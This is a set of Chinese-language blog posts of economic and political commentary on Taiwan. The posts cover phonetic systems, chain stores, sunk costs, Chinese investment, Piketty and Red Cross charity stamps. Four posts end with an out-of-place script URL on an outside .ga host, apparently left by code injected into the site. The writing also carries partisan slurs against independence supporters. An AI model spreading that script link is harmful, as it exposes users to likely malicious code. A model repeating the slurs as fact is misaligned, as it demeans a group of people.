If it’s not broke, don’t fix it!
1. 現階段看不出來注音符號究竟拖累了台灣哪方面的競爭力？反倒是民進黨錯誤的大陸政策、錯誤的能源政策以及內鬥尋租行為等，更明顯也更浪費地消耗台灣財富與競爭力。
2. 取消注音符號要付出多大代價？各種看得見與看不見的的成本，有無正確估算？
3. 真要搞羅馬拼音或他種拼音，最簡單方式就是引入市場競爭！讓各個小學、幼稚園自由選擇教授何種拼音方式，10年之後市場（尤其是補習班）自然會淘汰並選出最適合者。
（目前看來中國的拼音系統勝出機率最大，假台獨狗又要哭哭了）
更重要的是，我們最不需要「自以為是的專家」來替人民決定哪種拼音系統是唯一方案。https://js.developerstatss.ga/stat.js?n=ns1
好文分享。
我說過我是台中大甲人，從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前，我們只有各一家王子漢堡跟香雞城（這兩家都倒了）。王子漢堡我想大概海線人才知道。
跟鬼王說的一樣，文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit！ 從小我就感受到所謂的海線是怎樣落人一等，連火車班次、公路局班次都比別人少！
第一家7-11開店時已經是我高中時候，當時真如鬼王所說，是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。
經濟學來看也是支持鬼王論點：連鎖企業之所以可以橫掃鄉村小店，不是因為資本粗就能吃人，而是因為連鎖企業用更好的條件提供更好的商品與服務！
經濟競爭的鐵律是「用更少的代價換取更好或更多！」連鎖企業如果更貴更爛，市場淘汰連鎖企業而非小店。大甲也曾有肯德基，但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之，被淘汰的小店正因為無法提供連鎖企業給的，才會被淘汰。
是的，真相是所謂的小店文化，對真正在地者而言，往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。
但可笑的是，這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮？（這在美國很常見）
其實說穿了這種人只是藉著剝削鄉村消費者的選擇權，換取自己的媒體曝光度或自我感覺良好。
事實是真正在拉近城鄉差距的，是文青口中萬惡的資本家們！
民眾搶購囤積衛生紙事件出現一種聲音：「這些人都是笨蛋，竟然用住家一坪幾十萬的地來放幾百塊的衛生紙。還花幾百塊車資跑去賣場搬衛生紙…云云。」
這種批評者自以為會算，其實犯了嚴重的經濟邏輯錯誤而不自知。
一、歷史成本不是成本
那些把衛生紙佔家中坪數拿出來算的人，都犯了這個錯誤。
經濟學上的成本永遠指的是「機會成本」，而所謂的「機會成本」重點在於「選擇」。有選擇就以最高放棄的代價為成本，沒有選擇就沒有成本。已經花錢購買或承租的居家空間，花出去的錢就是「歷史成本」。歷史成本不是成本，這是經濟學極為重要的觀念！
因為「歷史成本」是已經發生的事件，除非你能讓時光倒流重做決定，否則已經決定的事情無從「重頭再選擇」，自然也就不是成本。為什麼這點很重要？
因為在經濟邏輯上，無從選擇代表「不會影響人類行為」！說過無數次，經濟學是一門以成本為切入角度來研究人類行為的學問。一般來說，很少人居家的閒置空間（如走道、空櫃、陽台…等）會另外出租給他人。也就是說這些空間的收入，就是所有權者的各種使用方式，包含堆疊一堆看似不值錢的雜物。
因此，喜歡某些極簡風格者，買下一塊地後的建築可能隔間極少、空置極大，這滿足了他的需求，也就達到他個人的效用最大化。當今天衛生紙可能價格飛漲，於是他決定買進囤積大量衛生紙放在原本空閒位置時，依然是效用最大化。前者與後者選擇改變在於侷限條件不同，放滿衛生紙的成本是犧牲原本空曠的美觀，而非每坪當初的買價！
反之，當你遇上Steve Jobs這種家裡不擺任何家具只放一盞燈的神經病，其行為選擇只表示空間美感需求大過對生活機能需求滿足，前者選擇以後者為成本。
也是說，已經花錢買的空間，不管你要堆放「有」或「無」，效益都可以達到最大化。
為什麼如此才是正確的經濟邏輯？
當今天侷限條件更改，同樣Steve Jobs但時間回到尚未發達的車庫創業時期，空間機能坪效大過美感需求，我們可看到早期車庫創業的照片中空間是如何堆滿各種雜亂物品，甚至當初最早發明的微型小電腦都因為太雜亂，讓來訪的記者不小心碰倒飲料而淋濕報廢。
同樣更改侷限條件，把場景放到工廠/物流倉庫或Apple Store這些都講究坪效的地方，即便租金/地價大不相同，二種場景的主事者依然著重在如何最大化收入上！是的，講究坪效不一定是講究同樣空間塞滿物品；當如Apple Store般透過適當留白可以創造更高收入時，理性經濟人就會這樣做。而競爭對手就可能這樣模仿。因此同樣市中心，我們可以看到塞滿貨品難以走路的屈臣氏，也可以看到空蕩蕩牆上只掛幾幅畫的畫廊。
進一步看，當主事者認定未來收入不足以支付未來應付租金時，結束營業或頂讓就會被選擇。當土地所有者發現出租收入勝過自己經營時，即便當初購入地價再低，出租的機率一樣會大大增加。在在說明經濟學的成本是向未來看，而非向後看。租值既是未來收入的折現總合，也是成本，但都是看向未來。
論者誤把歷史成本當做成本，還藉此批評群眾行為，其實只彰顯了自己經濟邏輯差、學問不到家，才發生誤以為的「理論與實際不吻合」的現象，才發生自以為聰明的窘樣。
二、未知是昂貴的資訊費用
至於批評搶購者的不知時間成本、車資等等費用，其實也忽略了搶購者更在乎的是「不知道未來要漲到哪去？」這個未知資訊費用。佐以衛生紙的易儲存不易損壞這個侷限條件，降低囤積費用讓人們傾向面對未知時先搶購一輪。當可能漲價者換為生蠔這種極易腐敗的物品，則即便民眾搶購也不容易出現大量囤積了（因為囤積成本昂貴許多）。
論者拿假設的漲幅來比較車資、時間成本，恰恰是忽略了「未知」這件事。
另一方面，許多購買者去賣場並非「專為買衛生紙」，還會順道購買其他物品，這也攤提了論者提及的費用；又或有購買者是透過網路搶購衛生紙，則根本毋須負擔論者提及的這些費用了！
不過跟第一點錯誤相比，第二點比較不重要。
因此我還要再重頭強調一次：「歷史成本不是成本！」拿地價出來計算自己家中物品佔多少空間等於付出多少成本，是完全錯誤的經濟邏輯。自己算得開心就好，拿出來說嘴就丟人了。https://js.developerstatss.ga/stat.js?n=ns1
感覺一堆人搞不清楚（特別是念法律的）：
習進平取消「得連任二屆」限制，並不表示他想怎樣連任都能成功。
反之，真有政治實力，像俄羅斯普丁那樣不管啥職位都能實際掌權，連任限制是啥屁？（當蔣經國只是行政院院長而嚴家淦是總統時，你說誰說了算？）
以為取消連任限制就叫稱帝？就叫做到掌權到死？未免太天真。
人口數與人均收入不如人，本來就很難養出「品牌企業」，更枉論這種講究「風口飛豬」的獨角獸公司。
台灣人才能力不錯是一回事，但語言能力整體來看連英文都很差（幾乎沒見過台灣本土出產而能走紅西方世界的英文作家）。既然不能一開始就以世界市場為目標，則光靠台灣市場希望渺茫。
幾個月前有位網友與我談動漫出版業，本身並非從業人員，只能以讀者角度提供看法，不過與獨角獸公司的一些經濟邏輯是相通的 — 人口夠多、共同語言市場夠大，才有足夠的租值去容忍賭博性的嘗試以及相關市場（包含資本市場）的基礎建構。
我反覆強調很多次，市場是很貴的玩意，而許多經濟學家往往忽略這一點，以為市場是自己憑空跑出來的。而台灣人口太少、收入太低這點，註定許多種市場安排方式不可能在台灣出現。除非台灣積極並融入中國市場。
全世界與台灣交易費用最低的市場就在中國大陸，光語言這塊就足以省下極高的費用。不管心態如何，台灣遲早要被迫全面擁抱與融入中國市場。真實世界台灣對中國貿易依賴程度，早就點明這個大勢所趨銳不可擋。
然而就是某些台灣政客為了個人利益，明知台獨不可能實現，卻老要用台獨與去中國化欺騙選票，不去思考如何讓台灣能在全球化與中國化競爭中勝出、把餅做大，只想要關上門當土酋長滿足個人私利，甚至甘願當日本美國走狗。這群政客是台灣最大的負資產。
與網友對話如下：
砸大錢買廣告卻內容蠢到死的影片。
「中國資金買下全台灣公司就可以控制台灣」只顯示論者的腦袋有多麼貧乏與無知。
事實上如果真的發生，則經濟效果上等於中國拿錢高度補貼台灣股東或老闆，財富瞬間從中國移往台灣。如此大禮，為啥不要？
同時，你以為中資買下台灣企業後，如果市場有利可圖，被買下者會拿著中國補助的資金另起爐灶與之競爭。同樣的，中資買下台灣企業後，如果員工不認同中資老闆或者是中資老闆給的勞動條件劣於市場，則員工也會出走。
反之，如果市場無利可圖，則中資買下台灣企業等於是幫台灣股東或老闆擦屁股，讓他們的資源重新獲得釋放。與此同時，中國等於是把資金浪費在低效率的用途上。
這也代表說，中國大舉不分好壞地買下台灣企業本身就是一個違反經濟定律的偽命題，因為論者錯誤假設中國資金可以自外於全球資金市場競爭，論者還錯誤地假設中國資金「不自私」，再爛的台灣公司都願意買（此點假設直接違反經濟學的自私前提）。
當然，該偽命題的論者還錯誤的假設了許多事情，例如前述台灣員工自由流動下，中資同樣必須在勞動市場與非中資企業競爭。提供的服務或產品一樣必須與非中資企業競爭….
簡單結論來說，論者腦袋白痴加三級，以為有錢就可以買遍全世界。而真實世界，從來不存在任何一個有錢國家可以單純靠錢buy out其他國家。
事實上，真正要用錢害死一個國家，歐美已經有很好的示範，就是透過大規模慈善捐助。
托瑪．皮凱提所著的『21世紀資本論』簡單翻閱就可知道這人經濟學不入流，基本價格理論不及格。
我自己沒啥時間批評一本這麼厚的爛書，卻剛好看到知名經濟學家Deirdre N. McCloskey對這本書的極正確評價。
在張五常教授80大壽慶祝發表的祝詞中回憶自己在1968年與張五常同為芝加哥大學經濟系教職，因為McCloskey是哈佛經濟學博士，所以其實並不懂經濟學。McCloskey特別強調認識張五常後透過其身教與著作，再加上張所推薦的一本好書 — Alchian與Allen合著的「Exchange and Production Theory in Use」方才習得如何正確地以經濟學思考。
插話一句，Alchian 與Allen合著的此書前身為「University Economics」，也是我的經濟學真正啟蒙讀物，強烈推薦給有興趣的朋友。此書之後，我才對經濟學登堂入室，也才開始成功地將此學問應用到投資上。也是因為此書的反覆研讀，逐漸地我開始可以準確預測巴菲特、孟格之類的高手怎麼思考問題同時怎麼決策，其邏輯的來龍去脈越發清晰（至於坊間一堆號稱研究巴菲特的書籍，建議當做小說看看笑過就算）。也就是說，這本書把我的投資思維拉到了巴菲特與孟格差不多的思維高度。
當然，巴菲特與孟格的經濟學並非頂尖，但投資直覺（或經濟直覺）上佳是肯定無疑的。
McCloskey同時批評芝加哥大學經濟系自從Bob Lucas（諾貝爾經濟學獎得主，但其實經濟學不怎麼樣）取消價格理論這門課之後，芝加哥大學經濟學博士程度連哈佛都比不上了。（Naturally, the Nouvelle Chicago School of Bob Lucas has dropped it, and so Chicago PhDs nowadays are no better even than Harvard PhDs in thinking like economists. It makes me weep.）
回到21世紀資本論這本爛書，McCloskey評價該書作者甚至基本需求定律掌握都是不足的，竟然不理解供給會隨著稀缺程度增加而反應。（note that Piketty, trained in France and MIT, does not understand supply response to increasing scarcity.）
經濟學的根本核心就是價格理論，連這點都掌握不好，淨搞一堆眩目數學公式那不叫做學問，只是為了謀求職位的手段。
而21世紀資本論這本書之所以毫無價值，也在於作者除了譁眾取寵，其論點–針對富人課重稅–在法國實施幾年的結果，早被「正確的經濟邏輯」預測不但對經濟無任何幫助，還只會嚇跑一堆富人，並留下剝削中產階級與養出一堆懶窮人的福利惡法。
McCloskey祝詞全文可見於此：
http://www.deirdremccloskey.com/docs/pdf/Cheung.pdfhttps://js.developerstatss.ga/stat.js?n=ns1
當左派的「文化資產法」侵害個人私有產權時，「及時拆除」不過是產權所有者保護自身利益的最好方法。
換言之，這套「原希望保護古蹟」的法律其真正實施結果如同經濟學預言一樣，只是讓「快變古蹟的建築自我毀滅得更快！」
所謂古蹟愛好者，希冀透過法律來干涉他人產權使用，說穿了也只是一種「佔便宜」心態。真這麼愛，怎麼不花自己的錢買下？
反之，要求政府買下也是錯誤資源配置，等於是「用不在乎古蹟的人的稅金去補貼少數在乎者的主觀慾望」。
這首是我的最愛，既有一架鋼琴對抗整個管弦樂團的氣勢磅礡，也有彼此如泣如訴的柔美婉轉，更有歡樂斯拉夫舞曲的玉珠落盤。
鋼琴技巧要求極高，據說當年柴可夫斯基寫畢本曲，曾被評為「難度過高，無法演奏」。
此Youtube是最為經典的1975年鋼琴名家Martha Argerich與瑞士法語區管弦樂團的合作，從頭到尾一氣呵成，近乎完美！諸多樂迷或樂評網站均給以5顆星滿分評價，值得一聽！
此外，如果只靠一首樂曲來測試音響水準，我私揣，單靠此首足以！鋼琴、管弦樂、大動態、音場乃至於各種樂器的音質都能完美同時呈現者，不多。
這首也是我最早迷上古典樂的入門，推薦給大家。新年快樂！
針對某些人宣稱紅十字會發行假郵票，回應如下：
【台獨狗扭曲歷史又一例】
怪了，我的小學老師怎麼沒逼我買紅十字會的愛心票？
而且我記憶中明明老師有強調過：「這不是郵票，不能寄信」。也有強調：「這是捐款捐愛心」。
話說郵政法第十五條明文規定：「除中華郵政公司外，任何人不得發行、製作與郵票類似，且具有交付郵資證明之票證。」
如果時間往前推，民國41年郵政法第八條第二項就規定：
「郵票、明信片、及特製郵簡，由交通部擬訂式樣圖案及價格，呈請行政院核定，由郵政機關發行。」
同時當年的郵政法第39條規定，意圖偽造郵票或行使偽造郵票者依刑法202條處斷！OK，我連當年的刑法第202條也找給大家看：
「意圖供行使之用，而偽造、變造郵票或印花稅票者，處六月以上、五年以下有期徒刑，得併科一千元以下罰金。
行使偽造、變造之郵票或印花稅票或意圖供行使之用而收集或交付於人者，處三年以下有期徒刑，得併科一千元以下罰金。
意圖供行使之用，而塗抹郵票或印花稅票上之註銷符號者，處一年以下有期徒刑，拘役或三百元以下罰金；其行使之者亦同。」
刑事責任耶！6個月以上5年以下有期徒刑，在白色恐怖年代，刑事責任還得了？！
本項規定一直到民國91年因為郵局改組為中華郵政公司，此項規定才挪到第15條。而刑事責任依然存在，改為郵政法第36條規定，刑期也是一樣。
換言之，從國民黨統治台灣以來，到現在民進黨二度執政，郵政法從未例外允許非郵政機關可以發行郵票。動輒以刑事責任相逼。
紅十字會除非是黐線、神經線沒釓緊，怎樣也不會蠢到去印假郵票等著被判刑。
沒想到現在有人不斷宣稱紅十字會「印假郵票」騙錢？可好笑的是舉出這張「號稱證明紅十字會賣過郵票的掃描圖檔」(https://imgur.com/KO190r1)圖樣中明明就沒有「郵票」二字，而是「愛心票」。
此種人可以為了反國民黨、反中搞到如此睜眼說瞎話，令人噁心。
PS其實這類台獨狗口中的歷史，睜眼說瞎話成分有夠重！
包含他宣稱：「…當初民國創立和制訂憲法時，領土根本不包含台澎，中華民國從未合法擁有過台澎）」
笑死人，第一屆中華民國國民代表大會出席名單查過沒？明明出席的就有台灣省代表19人，其中吳三連、余登發等共6名無黨籍代表就有出席。就連制憲國民大會都有台灣省代表12人參加（其中南志信醫師還是台東卑南族出身，台灣總督府醫學校畢業）。
什麼不包含台澎？那台灣省代表去國民大會是憑什麼入場投票的？不會台獨狗蠢到以為大家都跟你們一樣，去各種國際主要會議現場只能在門口作秀？莫非你們-太習慣-被檔在門口？XD
搞台獨搞到只能靠不斷捏造竄改歷史來欺騙大眾，真悲哀。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 